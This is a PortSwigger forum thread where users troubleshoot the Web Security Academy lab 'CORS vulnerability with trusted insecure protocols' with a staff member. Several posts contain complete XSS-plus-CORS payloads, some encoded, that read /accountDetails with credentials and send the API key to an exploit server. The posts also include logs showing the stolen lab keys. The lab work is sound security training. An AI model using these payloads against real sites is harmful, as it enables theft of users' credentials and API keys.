Burp Suite User Forum

Create new post

Faulty Lab: "CORS vulnerability with trusted insecure protocols"

Nemeses5174 | Last updated: Dec 30, 2023 03:22PM UTC

Hi, maybe there is bug inside the laboratory "CORS vulnerability with trusted insecure protocols". The following exploit script works with Burp's Chrome: <script> document.location = "https://stock.[LAB-ID].web-security-academy.net/?storeId=hi&productId=%27%3Cscript%3E+function+submitRequest%28%29+%7B+var+xhr+%3D+new+XMLHttpRequest%28%29%3B+xhr.open%28%22GET%22%2C+%22https%3A%5C%2F%5C%2F[LAB-ID].web-security-academy.net%5C%2FaccountDetails%22%2C+true%29%3B+xhr.withCredentials+%3D+true%3B+xhr.onload+%3D+%28%29+%3D%3E+%7B+document.location+%3D+%22https%3A%2F%2F[EXPLOIT-SERVER-ID].exploit-server.net%2F%3Fabcd%3D%22+%2B+xhr.responseText%3B+%7D%3B+xhr.send%28%29%3B+%7D+submitRequest%28%29%3B+%3C%2Fscript%3E%27" </script> The secret admin API-KEY will be recorded in the exploit server's log page. BUT the exploit script above does NOT work when I deliver it to the victim (the victim open the exploit page but the api-key is not recorded in the exploit-server's log page). If I use the solution code (very similar to the one above) everything works great. Maybe a bug in the laboratory? Have a good day.

Ben, PortSwigger Agent | Last updated: Jan 09, 2024 09:39AM UTC

Hi, To confirm, does your exploit work when you use the 'View exploit' functionality i.e. you land on the log page and your users API key is in the URL?

Łukasz | Last updated: Mar 11, 2024 03:00PM UTC

Also don't get it but it appears that URL encoding messes this up, while I tried: <script> document.location="http://stock.0afc00d603b5d54082d510900049005b.web-security-academy.net/?productId=4%3cscript>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0afc00d603b5d54082d510900049005b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0af300790394d58f82b60f24012b00d4.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> (so only one < at first script element encoded more) it also didn't work but using exact option from solution worked: <script> document.location="http://stock.0afc00d603b5d54082d510900049005b.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0afc00d603b5d54082d510900049005b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0af300790394d58f82b60f24012b00d4.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>

Ben, PortSwigger Agent | Last updated: Mar 12, 2024 11:23AM UTC

Hi Łukasz, Your proposed exploit appears to work for me and allows me to obtain the administrator users API key for this particular lab. Are you seeing no interactions from the victim user in the access logs when you deliver this?

Ben | Last updated: Jun 25, 2024 04:24PM UTC

I am seeing no interactions from the victim user in this lab, including just browsing to the /exploit page on the victim server.

Ben, PortSwigger Agent | Last updated: Jun 25, 2024 04:35PM UTC

Hi Ben, Are you able to provide us with details of what your exploit looks like?

Ben | Last updated: Jun 25, 2024 07:52PM UTC

<script> document.location = "https://stock.0a4700a403f4a8ed81e5e48b0062004e.web-security-academy.net/?productId=%3Cscript%3Efetch%28%27https%3A%2F%2F0a4700a403f4a8ed81e5e48b0062004e%2Eweb%2Dsecurity%2Dacademy%2Enet%2FaccountDetails%27%2C%20%7B%0A%20%20mode%3A%20%27cors%27%2C%0A%20%20credentials%3A%20%27include%27%0A%7D%29%2Ethen%28response%20%3D%3E%20%7Breturn%20response%2Etext%28%29%3B%7D%29%0A%20%20%2Ethen%28text%20%3D%3E%20%7B%0A%20%20%20%20const%20json%20%3D%20JSON%2Eparse%28text%29%3B%0A%20%20%20%20fetch%28%60https%3A%2F%2Fexploit-0a120022030aa8c081dee31001cb00b1%2Eexploit%2Dserver%2Enet%2F%3F%24%7Bjson%2Eapikey%7D%60%2C%20%7B%0A%09mode%3A%20%27no%2Dcors%27%0A%20%20%20%20%7D%29%0A%7D%29%3C%2Fscript%3E&storeId=1" </script> This payload works when I test myself. It doesn't work for the victim. Also, using HTTP isn't working as the session cookie has the "Secure" flag set.

Ben, PortSwigger Agent | Last updated: Jun 26, 2024 07:42AM UTC

Hi Ben, Have you tried using the written solution in its entirety?

Ben | Last updated: Jun 26, 2024 01:58PM UTC

Yes. It still doesn't work. I'm replacing the lab ID and exploit server ID as instructed. My access log is the following: [MY-IP] 2024-06-26 13:53:07 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:07 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:45 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:53:45 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:53:47 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:47 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:52 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:53:52 +0000 "GET /log HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:53 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:56 +0000 "GET /log HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:53:56 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:54:03 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:54:03 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:54:59 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:54:59 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:01 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:01 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:03 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:04 +0000 "GET /log HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:04 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:06 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:16 +0000 "POST / HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:16 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: ... [MY-IP] 2024-06-26 13:55:18 +0000 "GET / HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:18 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: ... [MY-IP] 2024-06-26 13:55:21 +0000 "POST / HTTP/1.1" 302 "user-agent: ... No interactions from the victim, they are not viewing the exploit at all

Ben, PortSwigger Agent | Last updated: Jun 26, 2024 04:18PM UTC

Hi Ben, I ran through this lab earlier today using a standard version of Chrome and was able to solve it using the solution provided so it does appear to be working as expected. Which browser are you using and what does your exploit now look like?

whiteTea | Last updated: Jul 05, 2024 01:06PM UTC

I can confirm that the laboratory is not working properly. My pure XHR-Code: ``` <script> const req = new XMLHttpRequest(); req.withCredentials = true; req.open('get', 'https://0ae500ac049cf9d580f45df6001e0007.web-security-academy.net/accountDetails', true); req.onload = reqListener; req.send(); function reqListener() { window.location = "https://exploit-0aab00a704f6f9de808b5c1c01fa0096.exploit-server.net/jrn?key=" + req.responseText; } </script> ``` Encode the above part: %3c%73%63%72%69%70%74%3e%0a%20%20%20%20%63%6f%6e%73%74%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%20%20%20%20%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%20%27%68%74%74%70%73%3a%2f%2f%30%61%65%35%30%30%61%63%30%34%39%63%66%39%64%35%38%30%66%34%35%64%66%36%30%30%31%65%30%30%30%37%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%20%20%20%20%72%65%71%2e%73%65%6e%64%28%29%3b%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%61%62%30%30%61%37%30%34%66%36%66%39%64%65%38%30%38%62%35%63%31%63%30%31%66%61%30%30%39%36%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6a%72%6e%3f%6b%65%79%3d%22%20%2b%20%72%65%71%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%20%20%20%20%7d%0a%3c%2f%73%63%72%69%70%74%3e Encoded added to the final URL: ``` ``` If I test it via "View Exploit" I can see my API-Key: === Log-Server === 89.247.171.246 2024-07-05 13:03:36 +0000 "GET /jrn?key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22jZ0MFaQIffRf1p9KOoJDWn7W0MxdMf6V%22,%20%20%22sessions%22:%20[%20%20%20%20%22u4hW4BLhysbfkMEIewbVhDnY2B0NmOaK%22%20%20]} HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" But if i "Deliver exploit to victim", then i got only: 10.0.4.249 2024-07-05 13:05:28 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" So victim is visiting the site, but no apikey there.

whiteTea | Last updated: Jul 05, 2024 01:08PM UTC

Edit: The exploit-body: ``` <script> window.location = "https://stock.0ae500ac049cf9d580f45df6001e0007.web-security-academy.net/?productId=1%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%63%6f%6e%73%74%20%72%65%71%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%20%20%20%20%72%65%71%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%72%65%71%2e%6f%70%65%6e%28%27%67%65%74%27%2c%20%27%68%74%74%70%73%3a%2f%2f%30%61%65%35%30%30%61%63%30%34%39%63%66%39%64%35%38%30%66%34%35%64%66%36%30%30%31%65%30%30%30%37%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%61%63%63%6f%75%6e%74%44%65%74%61%69%6c%73%27%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%72%65%71%2e%6f%6e%6c%6f%61%64%20%3d%20%72%65%71%4c%69%73%74%65%6e%65%72%3b%0a%20%20%20%20%72%65%71%2e%73%65%6e%64%28%29%3b%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%72%65%71%4c%69%73%74%65%6e%65%72%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%61%62%30%30%61%37%30%34%66%36%66%39%64%65%38%30%38%62%35%63%31%63%30%31%66%61%30%30%39%36%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%6a%72%6e%3f%6b%65%79%3d%22%20%2b%20%72%65%71%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%20%20%20%20%7d%0a%3c%2f%73%63%72%69%70%74%3e&storeId=1" </script> ```

Ben, PortSwigger Agent | Last updated: Jul 05, 2024 01:15PM UTC

Hi, Which lab are you referring to here? This forum post is about the 'CORS vulnerability with trusted insecure protocols' lab - the solution you have provided does not match the written solution in this particular lab. Are you having issues with a separate lab?

whiteTea | Last updated: Jul 05, 2024 01:45PM UTC

Exact this lab: "CORS vulnerability with trusted insecure protocols" My solution XSS the subdomain "stock" to fetch the /accountDetails aka apikey and send it to the exploit-server. My Code/Solution looks familiar with the Portswigger-Solution. I tried also the portswigger-solution, but in that case i got the same error =/.

whiteTea | Last updated: Jul 05, 2024 01:47PM UTC

I have encoded all the XHR stuff, so it may look different from the default solution. I receive the API key for myself, but not from the victim. Thanks for your efforts in advance.

Ben, PortSwigger Agent | Last updated: Jul 08, 2024 07:14AM UTC

Hi, I ran through that particular lab on Friday and was able to solve it using the solution provided so it does appear to be working as expected. Are you able to provide us with details of the exploit that you used when you mimicked the written solution for this lab?

Hans | Last updated: Jul 09, 2024 01:39PM UTC

Hi Ben, I am facing the same issue. Tried several times a new lab, but no success. I am using the script provided in the solution as follows: <script> document.location="http://stock.0aed0042044a1ed781b97fb100a50034.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aed0042044a1ed781b97fb100a50034.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aa400ed04e51eb681037e2901d80000.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> My observations: In Chrome Version 126.0.6478.61 (Official Build) (64-bit): View exploit works. It redirects to access log and the API key is in URL. After refresh API key is visible in the log as well. However, deliver to victim is not working. In Chrome Latest Version 126.0.6478.127 (Official Build) (64-bit): View exploit does not work. It does not redirect to the access log but stays on the page with "ERROR Invalid product ID: 4" Somehow latest version of Chrome is blocking the script from executing. Can it be that "Deliver to victim" works with latest version of Chrome in the background?

Ben, PortSwigger Agent | Last updated: Jul 11, 2024 07:07AM UTC

Hi Hans, Interestingly, I am also using the latest version of Chrome (126.0.6478.127) and both the 'View exploit' and 'Deliver exploit' functionalities are still working for me in this browser. Do you have this issue in the other CORS based labs as well?

whiteTea | Last updated: Jul 16, 2024 09:10AM UTC

Hello Ben, sry for the late response. Many labs had some delays, so i waited some days.I have tried this lab again extensively, both with the solution suggested by Portswigger and my approach with fetch. I get the same result in both cases: When I try the exploit via "View export" I see my apikey in the exploit log: 89.237.177.282 2024-07-15 18:36:48 +0000 "GET /log? key={%20%20%22username%22:%20%22wiener%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22Qr4BcatyVgqLllJ705wrlGvEuoDLiQgh%22,%20%20%22sessions%22: %20[%20%20%20%20%22tlylDYQcVEf6bsRFD1yocqiZK6SsARL0%22,%20%20%20%20%22ltM1mg5M3m7XloWG2xj92TK04XmLBC8k%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" However, when I send it to the victim, I only see in the log that the victim has visited my site, but no apikey: 10.0.4.225 2024-07-15 18:36:59 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" Below you can see both codes that I have tried. For better readability, first the code that is injected and then the actual exploit, which is stored on /exploit: # Case 1: Portswigger Solution <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key=' + this.responseText; }; </script> Exploit-Body: <script> document.location="https://stock.0a9800930432e174806d17a5003d0016.web-security-academy.net/?productId=1%3Cscript%3E%20var%20req%20=%20new%20XMLHttpRequest();%20req.onload%20=%20reqListener;%20req.open(%27get%27,%27https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails%27,true);%20req.withCredentials%20=%20true;%20req.send();%20function%20reqListener()%20{%20location=%27https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key=%27%20%2b%20this.responseText;%20};%20%3C/script%3E&storeId=1" </script> # Fetch Variant <script> fetch('https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails', { method: 'GET', mode: 'cors', credentials: 'include'}). then(res => res.json()). then(data => location='https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key='+data.apikey); </script> Exploit-Body: <script> document.location="https://stock.0a9800930432e174806d17a5003d0016.web-security-academy.net/?productId=1%3Cscript%3E%20fetch(%27https://0a9800930432e174806d17a5003d0016.web-security-academy.net/accountDetails%27,%20{%20method:%20%27GET%27,%20mode:%20%27cors%27,%20credentials:%20%27include%27}).%20then(res%20=%3E%20res.json()).%20then(data%20=%3E%20location=%27https://exploit-0ad600aa04dae152804516f301fc00f7.exploit-server.net/log?key=%27%2bdata.apikey);%20%3C/script%3E&storeId=1" </script> # Other informations Tried it with: - Burp's embedded Browser: Version 126.0.6478.126 (Official Build) (64-bit) - Normal browser: Version 126.0.6478.126 (Official Build) built on Debian 12.5, running on Debian 6.1 (64-bit)

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.